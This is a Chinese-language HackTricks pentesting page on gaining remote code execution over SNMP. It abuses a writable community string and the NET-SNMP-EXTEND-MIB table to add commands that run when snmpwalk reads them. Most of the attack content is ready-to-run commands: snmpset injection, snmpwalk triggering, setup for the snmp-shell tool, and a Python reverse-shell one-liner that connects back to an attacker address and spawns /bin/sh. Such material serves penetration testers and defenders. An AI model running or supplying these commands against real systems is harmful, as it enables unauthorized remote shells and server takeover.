hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md

4.6 KiB
Raw Blame History

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

SNMP RCE

如果管理员忽视设备或服务器上SNMP的默认配置攻击者可以利用SNMP。通过在Linux操作系统上滥用具有写权限rwcommunity的SNMP community,攻击者可以在服务器上执行命令。

使用附加命令扩展服务

要扩展SNMP服务并添加额外命令可以向**"nsExtendObjects"表中添加新行**。可以使用snmpset命令并提供必要的参数,包括可执行文件的绝对路径和要执行的命令来实现这一点:

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

注入命令以执行

在 SNMP 服务上注入要运行的命令需要被调用的二进制文件/脚本的存在和可执行性。NET-SNMP-EXTEND-MIB 要求提供可执行文件的绝对路径。

为了确认注入命令的执行,可以使用 snmpwalk 命令枚举 SNMP 服务。输出将显示命令及其相关细节,包括绝对路径:

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

运行注入的命令

读取注入的命令时,它会被执行。这种行为被称为**run-on-read()**。命令的执行可以在 snmpwalk 读取过程中观察到。

使用 SNMP 获取服务器 Shell

要控制服务器并获得服务器 Shell可以使用 mxrch 开发的 Python 脚本,从 https://github.com/mxrch/snmp-shell.git 下载。

或者,可以通过将特定命令注入到 SNMP 中手动创建反向 Shell。这个命令由 snmpwalk 触发,建立一个反向 Shell 连接到攻击者的机器,从而控制受害者的机器。 您可以安装运行此命令所需的先决条件:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

或者一个反向 shell

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

参考资料

从零开始学习AWS黑客技术 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式